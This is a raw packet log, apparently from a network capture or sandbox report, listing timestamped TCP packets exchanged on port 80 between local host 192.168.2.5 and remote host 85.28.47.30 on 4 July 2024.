Jul 4, 2024 22:20:23.151034117 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:23.151055098 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:23.151124001 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:23.151135921 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:23.151170969 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:23.152633905 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:23.158973932 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:23.339504957 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:23.339577913 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:23.359325886 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:23.359363079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:23.364301920 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:23.364312887 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:23.364330053 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:23.364339113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:23.364347935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:23.364419937 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.303145885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.303196907 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.547482014 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.552272081 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.793888092 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.793905020 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.793915987 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.794008017 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.794015884 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.794028997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.794039011 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.794039965 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.794054031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.794070005 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.794096947 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.794349909 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.794362068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.794373035 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.794384003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.794395924 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.794401884 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.794418097 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.794442892 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.794481039 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.794495106 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.794533968 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.794550896 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.794866085 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.794918060 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.814114094 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.814129114 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.814140081 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.814182043 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.814205885 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.814265966 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.814308882 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.814440012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.814483881 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.814610004 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.814655066 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.814764023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.814810991 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.823100090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.823112011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.823123932 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.823168993 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.823297977 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.823407888 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.823420048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.823441029 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.823451996 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.823461056 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.823463917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.823476076 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.823486090 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.823488951 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.823508978 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.823534966 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.823616982 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.823664904 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.823697090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.823710918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.823739052 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.823751926 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.824062109 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.824074030 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.824110985 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.825598001 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.825648069 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.825742960 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.825754881 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.825798988 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.894767046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.894805908 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.894818068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.894891977 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.894965887 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.894979000 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.895000935 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.895018101 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.895106077 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.895155907 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.895159960 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.895207882 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.907175064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.907247066 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.907258987 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.907339096 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.907380104 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.907392025 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.907402992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.907433033 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.907444954 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.907684088 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.907728910 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.907763958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.907777071 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.907807112 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.907818079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.907907963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.907953978 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.908386946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.908432007 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.908452034 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.908463001 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.908499002 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.915900946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.915920973 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.915952921 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.915978909 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.920115948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.920181036 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.920190096 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.920217037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.920217991 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.920259953 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.920329094 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.920341015 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.920377016 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.920514107 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.920558929 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.926989079 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.927037954 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.927047014 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.927058935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.927088976 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.927160025 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.927203894 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.927243948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.927289963 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.927292109 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.927331924 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.929810047 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.929857969 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.929867029 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.929879904 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.929908991 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.929924965 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.930003881 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.930016994 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.930056095 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.931195974 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.931257963 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.931266069 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.931277990 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.931310892 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.931436062 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.931448936 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.931483984 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.935492992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.935513020 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.935544014 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.935563087 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.935576916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.935619116 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.935642004 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.935652971 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.935689926 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.935996056 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.936044931 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.936119080 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.936161041 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.936177969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.936188936 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.936213017 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.936227083 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.936393023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.936436892 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.936446905 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.936460018 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.936500072 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.936537981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.936604977 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.981049061 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.981132030 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.981136084 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.981142998 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.981185913 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.981266022 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.981317043 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.992204905 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.992275000 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.992275953 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.992285013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.992314100 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.992328882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.992355108 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.992378950 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.992728949 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.992779016 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:24.992856026 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.992866039 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:24.992908955 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.012804031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.012847900 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.012859106 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.012962103 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.012986898 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.013005018 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.013015985 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.013026953 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.013051033 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.013062954 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.013256073 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.013302088 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.013381004 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.013391018 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.013425112 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.013529062 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.013540983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.013550997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.013561964 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.013576031 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.013586998 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.013608932 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.014134884 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.014183044 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.014192104 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.014202118 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.014245033 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.014348030 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.014358997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.014393091 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.014787912 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.014832020 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.014842987 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.014853954 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.014894009 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.015027046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.015038967 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.015048981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.015060902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.015075922 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.015089989 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.015115023 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.015564919 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.015610933 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.015644073 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.015654087 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.015690088 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.021136999 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.021148920 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.021159887 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.021188021 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.021200895 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.021394968 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.021405935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.021418095 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.021429062 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.021436930 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.021446943 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.021471977 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.021636963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.021660089 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.021670103 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.021708012 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.024615049 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.024662971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.024694920 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.024705887 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.024743080 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.024913073 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.024924994 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.024935007 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.024946928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.024955034 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.024971962 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.024993896 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.025235891 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.025247097 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.025258064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.025281906 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.025296926 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.025928974 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.025974035 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.025998116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.026009083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.026046038 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.026349068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.026359081 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.026369095 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.026380062 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.026396990 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.026410103 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.026613951 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.026658058 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.026671886 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.026684046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.026695013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.026705980 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.026710987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.026725054 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.026740074 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.029812098 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.029858112 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.029959917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.029972076 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.030009031 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.030055046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.030098915 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.030164003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.030184031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.030194998 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.030209064 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.030221939 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.030236959 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.030267000 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.030277967 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.030287981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.030309916 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.030327082 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.030535936 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.030580044 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.030620098 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.030632973 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.030663967 CEST	49704	80	192.168.2.5	85.28.47.30
